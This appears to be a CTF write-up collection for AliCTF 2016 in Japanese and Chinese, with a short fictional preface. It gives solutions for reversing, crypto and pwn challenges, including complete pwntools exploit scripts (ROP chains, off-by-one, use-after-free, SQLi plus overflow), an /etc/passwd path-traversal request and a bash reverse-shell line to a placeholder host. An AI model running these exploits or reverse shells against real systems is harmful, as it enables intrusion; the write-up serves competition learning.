ホームページ >バックエンド開発 >PHPチュートリアル >AliCTF 2016 総括
「ここにいる囚人は全員捕らえられ、ホストはまだ実行中であり、すべてのデータはコピーされています。」 シエラは窓にもたれかかり、右手でマイクを耳に当てて言った。安堵のため息をつきながら。
今回逮捕された容疑者は主に*ウェブサイトの運営で収益を上げていました。逮捕前、セラ容疑者はハッキングスキルとソーシャルエンジニアリングを組み合わせて容疑者の一人のコンピュータに逆侵入し、もう一人の容疑者のコンピュータを一定期間操作しなかった際に、他の人物がそのコンピュータを操作しなかったと推定した。トロイの木馬は相手のコンピュータのカメラを起動し、容疑者の周囲の写真を撮り、すぐに警察を組織して巣穴を攻撃しました。
警察署に戻り、やっとリラックスできると思ったのですが、突然パソコンにメールが表示され、そのメールのタイトルが「9.15サイバー犯罪捜査隊員向け技術コンクールのお知らせ」でした。 「**、この時期にこんな知らせが来て、誰も休ませてはいけない。このままでは男が見つからない。全部ボスのせいだ。」 シエラは背中に手を組んだ。頭を上げてオフィスのソファに横たわり、天井を見てため息をついた。しかし、競争で良い順位を獲得できれば、本庁直属の捜査部門に入るチャンスが得られ、兄の痕跡が見つかる可能性が高くなる。私はこの競争に勝たなければなりません。
coloroverflow
まず、このパッケージ名はCTFで使われていなさそうな気がしたので直接ググってみたところ、Google PlayのオープンソースゲームColor Overflowであることが分かりました。 。そこで、ダウンロードして比較してみたところ、元の apk に一致しないカテゴリがさらにいくつかあることがわかり、後から追加されたものだと推測しました。追加のクラスをそれぞれ分析した結果、それらはリクエストの送信、リクエストおよびツール クラスの生成に使用されていることがわかりました。 LogClass、n、Utils という名前を付けました。
プログラムはリクエストを生成した後、log.godric.me に POST リクエストを送信します。データは送信前に GZIP で圧縮されていることがコード内でわかります。 pcap でもこのリクエストが見つかり、pcap は Content-Encoding: gzip が実際に存在することを示しました。 Wireshark を使用して http データをエクスポートし、元のデータを取得します。
ここで LogClass を調べて、GameView$1 の new LogClass().execute(new ByteArrayOutputStream[]{v2.OutputRequestBody()}); が n のメソッドを呼び出すことを確認します。その後、LogClass での実行が送信されます。
public ByteArrayOutputStream OutputRequestBody() { try { this.output_stream.reset(); f.a(this.output_stream, this.szId); f.a(this.output_stream, this.CurMill); f.a(this.output_stream, this.Rand); f.a(this.output_stream, this.d); this.output_stream.flush(); } catch(Exception v0) { v0.printStackTrace(); } return this.output_stream; }
ここで、d は、GetRequestBody メソッドで、送信されるデータの AES 暗号化によって取得されます。
この部分は送信されるデータをキャッシュします。メソッドには 3 つのオーバーロードがあり、それらはすべてバッファーに出力されます。対応するタイプ フラグ 21、18、24 がそれぞれ最初に出力されます。次に、文字列型は文字列の長さを決定し、文字列を出力します。バイト配列は長さを表す 1 バイトを出力し、次に長整数型は 7 ビットごとにグループ化されて出力します。上位ビットは終了マークとして使用され、出力されるたびに 1 バイト、上位ビットは 0 で終了を示します。
それで、pcap によってエクスポートされたデータから szId、CurMil、Rand、d を復元できます。
MD5 によって szId が計算された後、ダイジェストがキーとして使用され (16 進文字列にエンコードされていない)、Rand と CurMill が循環 XOR 演算されて IV が取得されます。したがって、キーとIVも計算できます。
もう一度 AES を見てみましょう:
if(i == 0) { int j; for(j = 0; j < block_size; ++j) { block[j] = ((byte)(padded_input[j] ^ arg13[j])); } } else { int j; for(j = 0; j < block_size; ++j) { block[j] = ((byte)(padded_input[i * 16 + j] ^ block_out[j])); } } block_out = AES.EncryptBlock(block); System.arraycopy(block_out, 0, outbuf, i * 16, block_size);
この部分は、AES が前のラウンドの出力と入力を XOR してから暗号化するため、CBC モードであることを示しています。
IV とキーが復元されて暗号化されたら、それらを復号化できます。復号化すると、フラグが含まれていることがわかりました。
szid = 'bb39b07060deabd5'curmill = [0xb9, 0xe8, 0xf3, 0xd3, 0xca, 0x2a]curmill = [i & (~128) for i in curmill]curmill = sum([curmill[i] << (7*i) for i in range(len(curmill))])print curmillrand = '46 51 4b f9 f2 b3 cd 3b f5 80 b7 cd 9b ae 45 14'.split()rand = [int(i, 16) for i in rand]import md5m = md5.md5()m.update(szid)key = m.digest()print 'key', map(ord, key)IV = [(curmill >> (i*8)) & 255 for i in range(8)][::-1]IV = [rand[i] ^ IV[i%8] for i in range(len(rand))]IV = ''.join(map(chr, IV))print 'IV', map(ord, IV)with open('encrypted') as f: encrypted = f.read()from Crypto.Cipher import AESaes_d = AES.new(key, AES.MODE_CBC, IV)print aes_d.decrypt(encrypted)
Vss
スタック オーバーフローが発生しています。入力 0×48 ~ 0×50 バイトは戻りアドレスをカバーしているだけです。ROPgadget を使用してロップチェーンを見つけてください。0×48 ~ 0×50 バイトだからです。バイトはリターンアドレスです。rsp retを追加するガジェットを見つけて、ropchainに返すrspのアドレスを追加します
from pwn import *from struct import packp = remote('121.40.56.102', 2333)recv_content = p.recvuntil('Password:\n')p2 = ''p2 += pack('<Q', 0x0000000000401937) # pop2 rsi ; retp2 += pack('<Q', 0x00000000006c4080) # @ .datap2 += pack('<Q', 0x000000000046f208) # pop2 rax ; retp2 += '/bin//sh'p2 += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; retp2 += pack('<Q', 0x0000000000401937) # pop2 rsi ; retp2 += pack('<Q', 0x00000000006c4088) # @ .data + 8p2 += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; retp2 += pack('<Q', 0x000000000046b8d1) # mov qword ptr [rsi], rax ; retp2 += pack('<Q', 0x0000000000401823) # pop2 rdi ; retp2 += pack('<Q', 0x00000000006c4080) # @ .datap2 += pack('<Q', 0x0000000000401937) # pop2 rsi ; retp2 += pack('<Q', 0x00000000006c4088) # @ .data + 8p2 += pack('<Q', 0x000000000043ae05) # pop2 rdx ; retp2 += pack('<Q', 0x00000000006c4088) # @ .data + 8p2 += pack('<Q', 0x000000000041bd1f) # xor rax, rax ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045e790) # add rax, 1 ; retp2 += pack('<Q', 0x000000000045f2a5) # syscall ; retpayload1 = 'py' + 'B' * (0x4e - 0x8) + p64(0x000000000044892a) + 'A' * (0xd0 - 0x50) + p2p.sendline(payload1)p.interactive()fb教科书一般的off-by-one脚本:#!/usr/bin/env python2# -*- coding:utf-8 -*-from pwn import *import os# flag : alictf{FBfbFbfB23666}# switchesDEBUG = 0# modify this'''if DEBUG: io = process('./fb')else: io = remote('121.40.56.102',9733)'''if DEBUG: context(log_level='debug')# define symbols and offsets here# simplified r/s functiondef ru(delim):return io.recvuntil(delim)def rn(count):return io.recvn(count)def sl(data):return io.sendline(data)def sn(data):return io.send(data)def info(string):return log.info(string)# define interactive functions heredef menu():return ru('Choice:')def addmsg(length): menu() sl('1') ru(':') sl(str(length))returndef setmsg(index,content): menu() sl('2') ru(':') sl(str(index)) ru(':') sl(content)returndef delmsg(index): menu() sl('3') ru(':') sl(str(index))returndef leak(addr):if '\x0a' in p64(addr): return '\x00'# :< setmsg(1, p64(addr) + p32(100)) delmsg(2) buf = ru('Done').rstrip('Done')if len(buf) == 0:return '\x00'return buf + '\x00'printf = 0x4006E0ptr = 0x6020c0ptr2 = 0x6020e0freegot = 0x602018# define exploit function heredef pwn():if DEBUG: gdb.attach(io)#elf = ELF('./fb') addmsg(248) addmsg(240)# xxx addmsg(256) addmsg(248) addmsg(240) addmsg(256) addmsg(256) addmsg(256) setmsg(7, '%17$p') payload = '' payload += p64(0) + p64(0xf1) payload += p64(ptr-0x18) + p64(ptr-0x10) payload = payload.ljust(240, '\x00') payload += p64(0xf0) setmsg(0,payload) delmsg(1) payload2 = p64(0) + p32(0) + p32(16) + p64(0) + p64(freegot) + p64(2000) + p64(0x6020e0) + p32(0x1000) setmsg(0, payload2) setmsg(0, p64(printf)[:-1]) delmsg(7) buf = ru('Done').rstrip('Done').lstrip('0x') libc_start_main_ret = int(buf, 16)#info('Libc leaked = ' + hex(libc_start_main_ret)) libc = libc_start_main_ret - 0x21f45 system = libc + 0x0000000000046590 setmsg(6, '/bin/sh;') setmsg(0, p64(system)[:-1]) delmsg(6) io.interactive()returnif __name__ == '__main__': io = remote('114.55.103.213',9733) pwn() io.close()routersconnect(0,1), connect(1,2)会导致router 0中指针单向指向router 1, 此时delete(1)会导致uaf.脚本:#!/usr/bin/env python2# -*- coding:utf-8 -*-from pwn import *import os# flag : alictf{S0rry_F0r_USiNG_CP1uSp1Us_vTaB1es}# switchesDEBUG = 0# libc = 2.19 ubuntu-6.9os.environ["LD_PRELOAD"] = "./libc-x.so"# modify thisif DEBUG: io = process('./routers')else: io = remote('114.55.103.213',6565)if DEBUG: context(log_level='debug')# define symbols and offsets here# simplified r/s functiondef ru(delim):return io.recvuntil(delim)def rn(count):return io.recvn(count)def sl(data):return io.sendline(data)def sn(data):return io.send(data)def info(string):return log.info(string)# define interactive functions heredef create_route(t,name): ru('>') sl('create router') ru(':') sl(t) ru('name: ') sl(name)returndef create_terminal(t,name,attached): ru('>') sl('create terminal') ru(':') sl(attached) ru(':') sl(t) ru(':') sl(name)returndef delete_router(name): ru('>') sl('delete router') ru(':') sl(name)returndef connect(name1, name2): ru('>') sl('connect') ru(':') sl(name1) ru(':') sl(name2)returndef disconnect(name): ru('>') sl('disconnect') ru(':') sl(name)returndef show(): ru('>') sl('show')return# define exploit function heredef pwn():if DEBUG: gdb.attach(io)# uaf in disconnect create_route('cisco', '123') create_route('cisco', 'aaa') create_route('cisco', 'bbb') connect('123', 'aaa') connect('aaa', 'bbb') delete_router('aaa') create_terminal('osx','hello','bbb') show() ru('to ') pie = u64(ru('\n')[:-1].ljust(8,'\x00')) - 0x204b30 info('PIE Leaked = ' + hex(pie)) got = pie + 0x204EC8 create_route('cisco', 'b1') create_route('cisco', 'b2') create_route('cisco', 'b3') create_route('cisco', 'b4') connect('b1','b2') connect('b2','b3') delete_router('b2') delete_router('b4') payload = 'A'*0x8 + p64(got) + p64(0) + p64(0)[:-1] create_route('cisco', payload) show() ru('to ') ru('to ')#offset_setvbuf = 0x70670 offset_setvbuf = 0x705a0 libc = u64(ru('\n')[:-1].ljust(8,'\x00')) - offset_setvbuf info('Libc Leaked = ' + hex(libc))# leak heap address delete_router(payload) xxx_vtable = libc + 0x3BE060 - 8 payload2 = p64(xxx_vtable) + p64(pie) + p64(0) + p64(0)[:-1] create_route('cisco', payload2) create_route('cisco', 'feeder') delete_router('feeder') disconnect('b1') show()for i in xrange(6): ru('named ') heap_addr = u64(ru(' ')[:-1].ljust(8,'\x00')) - 0x340 info('Heap addr leaked = ' + hex(heap_addr))# final stage create_route('cisco', 'c1') create_route('cisco', 'c2') create_route('cisco', 'c3') create_route('cisco', 'c4') connect('c1', 'c2') connect('c2', 'c3') delete_router('c2') delete_router('c4') gadget = libc + 0xE4968 payload3 = p64(heap_addr+0x450) + p64(pie) + p64(0) + p64(0)[:-1] create_route('cisco', payload3) spray = 7 * p64(gadget) create_route('cisco', spray)''' poprdi = libc + 0x0000000000022b9a system = libc + 0x46590 binsh = libc + 0x17C8C3 ropchain = '' ropchain += p64(poprdi) ropchain += p64(binsh) ropchain += p64(system) ''' disconnect('c1') io.interactive()returnif __name__ == '__main__': pwn()
http
質問は最初にバイナリに与えられていませんでした。テストの結果、http ヘッダーが変更される可能性があることが判明しました。リクエスト ディレクトリにより、任意のファイルが読み取られる可能性があります (例: GET /../../../../../etc/passwd HTTP/1.1)。この脆弱性により、/proc/self/maps を読み取ってバイナリ パスを取得し、解析の結果、サーバーのポスト リクエストの処理に脆弱性があることが判明しました。スクリプト内:
#!/usr/bin/env python2# -*- coding:utf-8 -*-from pwn import *import os# flag : alictf{1et's_p14y_with_thr34ds_at_httpd}# switchesDEBUG = 0# modify thisif DEBUG: io = remote('127.0.0.1', 46962)else: io = remote('120.26.90.0',42665)if DEBUG: context(log_level='debug')# define symbols and offsets here# simplified r/s functiondef ru(delim):return io.recvuntil(delim)def rn(count):return io.recvn(count)def sl(data):return io.sendline(data)def sn(data):return io.send(data)def info(string):return log.info(string)# define interactive functions heredef sendpost(target, content): buf = '' buf += 'POST ' buf += target buf += ' HTTP/1.1\n' buf += 'Content-Length: ' buf += str(len(content)) buf += '\n\n' buf += content sn(buf)return# define exploit function heredef pwn():if DEBUG: gdb.attach(io)# arbitary file read vuln in httpd# dumping the binary and we find post content is passed to a newly created process, which we can specify#sendpost('/../../../../../../bin/bash', 'ls -la /;exit\n') sendpost('/../../../../../../bin/bash', 'bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;exit;\n')# connect back shell io.interactive()returnif __name__ == '__main__': pwn()
vvss
sqli + スタック オーバーフロー このエクスプロイトはスクリプト内にあります:
#!/usr/bin/env python2# -*- coding:utf-8 -*-from pwn import *import os# flag : alictf{n0t_VerY_v3ry_secure_py}# switchesDEBUG = 0# modify thisif DEBUG: io = process('./vvss')else: io = remote('120.26.120.82',9999)context(log_level='debug')# define symbols and offsets here# simplified r/s functiondef ru(delim):return io.recvuntil(delim)def rn(count):return io.recvn(count)def sl(data):return io.sendline(data)def sn(data):return io.send(data)def info(string):return log.info(string)# define interactive functions heredef listall(): sl('py')return# select plain, len from keys where qid='%s'def query(param): buf = 'pz' buf += param sl(buf)returndef todo(): buf = 'pi' sl(buf);return# define exploit function heredef pwn():if DEBUG: gdb.attach(io)#listall() query("a';insert into keys values (909, hex(fts3_tokenizer('simple')), 'bx', 100);")# use tokenizer to leak address query("bx") offset = 0x2b4d80 ru('0') buf = rn(16) sqlite_base = u64(buf.decode('hex')) - offset info('SQLite Base leaked = ' + hex(sqlite_base)) offset2lib = 0x3c5000 libc = sqlite_base - offset2lib system = libc + 0x46590 binsh = libc + 0x17C8C3 ropchain = '' ropchain += p64(sqlite_base + 0x0000000000009ef8) ropchain += p64(binsh) ropchain += p64(system) payload = 656 * 'a' + ropchain query("a';insert into keys values (31337, x'"+payload.encode('hex')+"', 'exx', "+str(len(payload))+");") query("exx") io.interactive()returnif __name__ == '__main__': pwn()
Al-Gebra
pyinstaller によってパッケージ化されたプログラム。 pyinstxtractor.py を使用して解凍し、メイン ファイルが pyimod04_builtins であることを確認します。ファイル ヘッダーを修復し、逆コンパイルしてメイン プログラム コードを取得します。メインプログラムはデータを取得し、2 つの関数 add と mul をサーバーから取得します。
サーバーから送信されたデータを保存し、ファイルヘッダーを修復して逆コンパイルして関数の内容を取得します。
プログラム ロジックは、行列の乗算を実行し、結果を確認することです。ただし、ここでは加算と乗算の両方が再定義されています。ネットで調べてみると、これを多項式環と呼ぶらしいことが分かりました。
mul 関数に対して直接いくつかのテストを実行します。 mul(a,x)=b,a それから私はガウス消去法をとり、加算と乗算の再定義に注目しました。解決策がわかりました。
alictf{Ne_pleure_pas_Alfred}mat=[[207, 152, 250, 232, 183, 247, 125, 31, 89, 176, 139, 246, 97, 125, 76, 1, 175, 141, 61, 196],[90, 41, 196, 89, 48, 166, 201, 255, 28, 72, 10, 227, 134, 247, 87, 10, 219, 51, 146, 93],[76, 3, 187, 211, 246, 46, 222, 194, 67, 165, 130, 244, 221, 248, 132, 47, 91, 245, 136, 141],[223, 211, 5, 77, 225, 6, 21, 196, 120, 19, 233, 214, 143, 224, 2, 119, 50, 188, 90, 88],[108, 177, 46, 95, 80, 128, 125, 128, 22, 227, 179, 177, 191, 191, 7, 91, 209, 79, 31, 2],[152, 229, 184, 163, 212, 71, 125, 72, 67, 179, 37, 173, 156, 59, 235, 79, 28, 134, 73, 245],[40, 123, 5, 233, 197, 233, 30, 18, 232, 33, 56, 95, 69, 44, 205, 176, 246, 7, 211, 109],[11, 28, 73, 59, 71, 154, 72, 92, 139, 27, 109, 193, 92, 102, 17, 140, 230, 254, 181, 35],[242, 49, 103, 240, 78, 79, 46, 224, 168, 137, 147, 8, 125, 149, 197, 109, 85, 208, 254, 44],[180, 66, 51, 154, 33, 51, 1, 33, 0, 227, 13, 192, 65, 217, 206, 204, 7, 14, 22, 232],[46, 58, 126, 154, 21, 73, 28, 130, 223, 212, 63, 69, 167, 80, 240, 8, 172, 208, 206, 76],[218, 94, 40, 0, 108, 187, 3, 9, 39, 65, 110, 26, 242, 41, 143, 100, 17, 186, 95, 127],[19, 188, 30, 252, 33, 235, 104, 10, 232, 186, 243, 211, 92, 210, 150, 146, 191, 96, 108, 208],[119, 109, 150, 141, 45, 208, 118, 47, 10, 40, 41, 47, 122, 99, 238, 244, 0, 241, 187, 198],[240, 138, 99, 154, 114, 245, 192, 199, 90, 166, 232, 140, 119, 243, 237, 86, 21, 5, 168, 251],[144, 99, 109, 211, 70, 17, 11, 149, 225, 17, 177, 63, 53, 146, 17, 168, 81, 50, 149, 218],[238, 179, 216, 200, 226, 215, 124, 171, 57, 183, 76, 165, 56, 140, 123, 197, 152, 71, 112, 242],[162, 115, 153, 111, 219, 42, 159, 188, 118, 77, 232, 53, 83, 223, 183, 219, 150, 177, 149, 76],[229, 216, 82, 107, 93, 225, 244, 98, 38, 190, 193, 97, 54, 27, 208, 15, 71, 39, 106, 233],[131, 13, 74, 27, 217, 248, 206, 44, 14, 71, 69, 62, 35, 94, 224, 126, 96, 120, 252, 11]]c =[157, 244, 209, 121, 181, 200, 239, 205, 226, 51, 188, 143, 121, 212, 12, 95, 36, 10, 251, 133]length =len(mat[0])def mul_line(i, num):for j inxrange(length):mat[i][j]=mul(mat[i][j], num)c[i]=mul(c[i], num)def swap_line(a, b):tmp =c[a]c[a]=c[b]c[b]= tmptmp =mat[a]mat[a]=mat[b]mat[b]= tmpdef minus_line(src, dest):for i inxrange(length):mat[dest][i]=mat[dest][i] ^ mat[src][i]c[dest]=c[dest] ^ c[src]def minus_row(row, num):for i inxrange(length):mat[i][row] = mat[i][row] ^ numdef print_mat():for i inxrange(length):printmat[i]print""def mul(a, b):r =0while a !=0:if a & 1:r = r ^ bt = b & 128b = b << 1if b & 256:b = (b ^ 215) & 255a = a >> 1return rdef run():lum =[[jfor j inrange(0, 256)]for i inrange(0, 256)]for i inrange(0, 256):for j inrange(0, 256):lum[i][mul(i,j)]= jfor j inxrange(len(mat[0])):# print j# print_mat()end = length -1for i inrange(j, length):if end ==i:#print endbreakifmat[i][j]==0:swap_line(i, end)end -=1# change to 1for i inrange(j, length):ifmat[i][j]==0:breakmul_line(i, lum[mat[i][j]][1])# print_mat()# up minus allfor i inrange(j +1, length):ifmat[i][j]==0:breakminus_line(j, i)# print_mat()ans =[]#print cfor j inrange(length -1, -1, -1):xn=lum[1][c[j]]ans.append(chr(xn))for i inrange(j, -1, -1):c[i] ^= mul(xn, mat[i][j])# print_mat()print"".join(ans[::-1])run()
Timer
so の関数を逆にして、直接爆発させます。
代码写炸了,得到一组结果。。然后找到一些比较像flag的一个个试的
alictf{Y0vAr3TimerMa3te7}#include "cstdio"#include "cmath"boolisPrime(int x){if(x<=1)return false;for(int i=2;i<=sqrt(x);i++){if (x%i==0){return false;}}return true;}intfunc(intinput){int v3; // r0@1int v4; // r6@1int v5; // r1@1int v6; // r7@1int v7; // r0@1int v8; // r4@1longlong v9; // r0@2int v10; // r0@2int v11; // r1@2int v12; // r0@2int v13; // r0@2unsigned int v14; // r1@2longlong v15; // r0@2int v16; // r0@2unsigned int v17; // r0@2int v18; // r0@3int v19; // r0@6intv20;// r0@6intv21;// r0@6intv22;// r0@6intv23;// r0@6intv24;// r0@6intv25;// r0@6charv26;// r0@6intresult;// r0@6signed intv29;//[sp+8h][bp-38h]@1int v30; //[sp+Ch][bp-34h]@1charv31[18];//[sp+10h][bp-30h]@1int v32; //[sp+24h][bp-1Ch]@1v29=input;double b1 =input;double b13,b15;v7 = b1/323276.0999999999800;v8 = v7;v31[0]= v8 +v29%100;if ( isPrime((v8+v29%100) & 0xFF) ){v9 = b1/59865.9000000000010;v10 = v9 +21;v12 = v10;v31[1]= v12;b13=v12;b15 = b13 *2.4230000000000;v16 = b15 +1.7;v17 = v16;v31[2]= v17;if ( v17 > 0x6F ){v18 = b1 /24867.4000000000010;v31[3]= v18;}else{returnresult;}v31[13]=51;v31[14]=116;v31[15]=101;v31[16]=55;}else{returnresult;v31[1]=57;v31[2]=67;v31[3]=-120;v31[13]=61;v31[14]=106;v31[15]=111;v31[16]=59;}v31[4]=v31[2]-4;v19 = b1 /31693.7999999999990;v31[5]= (v19);v20= b1/19242.6600000000000;v31[6]=(v20);v21= (b1/15394.1000000000000);v31[7]= (v21);v22= (b1/14829.2000000000010);v31[8]=(v22);v23= (b1/16003.7999999999990);v31[9]= (v23);v24= (b1/14178.7999999999990);v31[10]= (v24);v31[11]=v29/20992;v25= (b1 /16663.7000000000010);v26=(v25);v31[17]=0;v31[12]=v26;for(int i=0;i<17;i++){if(!( (v31[i]>='a' && v31[i]<='z') || (v31[i]>='A' && v31[i]<='Z') || (v31[i]>='0' && v31[i]<='9') || v31[i]=='_' )){returnresult;}}printf("%s\n",v31);returnresult;}intmain(intargc,charconst*argv[]){for (int i=20991;i<20991*129;i++){func(i);}return0;}
showmethemoney
c#写的勒索程序,逆向后发现会把id和key发到120.26.120.82:9999。
扫了下120.26.120.82的端口,发现80开着,得到vvss,逆向发现输入py会显示所有数据。得到key,写程序解密即可。
alictf{Black_sh33p_w411}
REact
reactnative的apk,反编译提取出js文件。验证程序分为两个部分。
第一个部分找到关键函数s,提取出判断函数e。
然后调试,发现是矩阵乘法(又是矩阵乘法)。然后提取出数据,求解方程组即可。
第二个部分在java层,通过bridge调用,直接求解即可。
alictf{keep_young_and_staysimple+1s_!}
第一部分
mat=[[11, 32, 31, 0, 10, 10, 6, 18, 10, 17, 16, 5, 12, 9, 26, 13],[0, 31, 15, 28, 2, 30, 18, 20, 12, 7, 12, 25, 13, 7, 11, 22],[13, 27, 8, 17, 7, 1, 17, 7, 21, 29, 8, 31, 31, 16, 28, 26],[13, 27, 20, 19, 12, 16, 0, 4, 16, 4, 21, 9, 11, 8, 24, 0],[17, 5, 25, 13, 14, 14, 29, 2, 24, 21, 27, 5, 20, 23, 22, 14],[6, 0, 20, 13, 24, 30, 25, 5, 32, 7, 15, 10, 6, 20, 27, 18],[18, 28, 11, 31, 4, 16, 30, 24, 22, 7, 4, 19, 18, 11, 12, 27],[2, 23, 1, 23, 10, 12, 28, 14, 19, 3, 13, 29, 27, 9, 3, 22],[27, 30, 32, 8, 24, 11, 12, 7, 12, 26, 27, 0, 1, 32, 14, 25],[28, 8, 17, 10, 9, 9, 18, 16, 16, 24, 19, 25, 22, 30, 24, 10],[24, 0, 30, 10, 19, 20, 3, 25, 1, 17, 23, 25, 5, 16, 7, 16],[20, 1, 19, 21, 23, 27, 15, 5, 32, 30, 1, 20, 3, 28, 15, 12],[15, 16, 26, 9, 29, 25, 11, 10, 21, 6, 16, 12, 23, 21, 31, 32],[10, 1, 18, 27, 11, 6, 4, 23, 9, 8, 17, 31, 18, 22, 2, 16],[11, 16, 23, 28, 10, 10, 19, 10, 10, 4, 12, 1, 0, 15, 14, 5],[2, 18, 24, 26, 23, 22, 30, 18, 18, 6, 0, 20, 17, 12, 23, 1]]
整天想搞大新闻,吃枣药丸
c=[25434,19549,19765,28025,27015,23139,26935,29052,20005,25636,25317,26852,20113,24424,22495,22055]第二部分ans=[0x0e,0x1d,0x06,0x19,ord('+'),0x1c,0x0b,0x10,0x16,0x04,ord('6'),0x15,0x0b,0x0,ord(':'),0x0b]key='excited'output=""for i inxrange(len(ans)):output+=chr(ord(key[i%7])^ans[i])print output
LoopAndLoop
用ida调试发现check方法调用chec,会自动调用到check1,第一个参数被传递下去,第二个参数被减一后传递到check1。check1里调用chec函数同理地调用check2,check2里的chec调用check3,check3里的chec调用check1。如此递归下去,发现当第二个参数为1的时候,chec会直接返回参数一的值,也就是递归的边界。估计native的chec函数只起这样的作用,因此不需要逆向liblhm.so了。check1和check3都是加上一个数,check2根据第二个参数的奇偶决定是加上还是删除一个数。因此从最后的检查条件1835996258往前推99步就能推出正确的输入。
from ctypes import *SA = sum(range(100))SB = sum(range(1000))SC = sum(range(10000))S0 = 1835996258for i in range(1, 99): if i % 3 == 0: S0 = c_int(S0-SC).value if i % 3 == 2: S0 = c_int(S0-SA).value if i % 3 == 1: if i % 2 == 0: S0 = c_int(S0-SB).value else: S0 = c_int(S0+SB).valueprint S0print hex(S0)for i in range(98, 0, -1): if i % 3 == 0: S0 = c_int(S0+SC).value if i % 3 == 2: S0 = c_int(S0+SA).value if i % 3 == 1: if i % 2 == 0: S0 = c_int(S0+SB).value else: S0 = c_int(S0-SB).value print hex(S0)print S0
Debug
debug blocker反调试,程序的验证步骤:
1.验证flag的长度是否为32,格式为[a-z0-9]+
2.把每两个字符的16进制字符串转换为整数,这一步会导致多解
3.每4个字节倒置
4.每8个字节做128轮的TEA加密,key为’3322110077665544BBAA9988FFEEDDCC’
5.最后把加密后的16个字节与0×31异或后与一个给定的字节数组比较
Uplycode
好多的自解密。。。程序的验证步骤:
1.flag开头是否为alictf{,把末尾的}改为空字节
2.验证第8-9字节,直接爆破得到为Pr
3.验证10-13字节,直接爆破得到为0bl3,我好暴力。。。
4.用13字节异或14字节的值解密接下来的验证函数,根据之前的规律知道自解密出来的第一个字节为0×55,因此14字节为M
5.对第14字节到最后的字节(不包括{)计算MD5值与35faf651b1a72022e8ddfed1caf7c45f比较
6.验证第19字节到最后的字节(不包括{)是否为A1w4ys_H3re,因此爆破第15-18字节就可以得到flag
xxFileSystem2
在队友们的帮助下做出的,xxdisk.bin的开头20000个字节是一个使用表,0表示未使用,1表示已使用,文件系统中的文件的开头第1-4个字节为在使用表中的索引值,第5-8个字节为FFFFFFFF,之后每4个字节是文件分块的索引值,一共22块,之后四字节是文件块使用的标记,再之后4字节是文件大小,跳过4字节之后是文件名,删除文件时会把使用表对应索引的值设为0,通过这个规则可以遍历xxdisk.bin,找到了1000多个删除的文件,输出文件名发现一个奇怪的555文件,然后抽取出555文件的内容
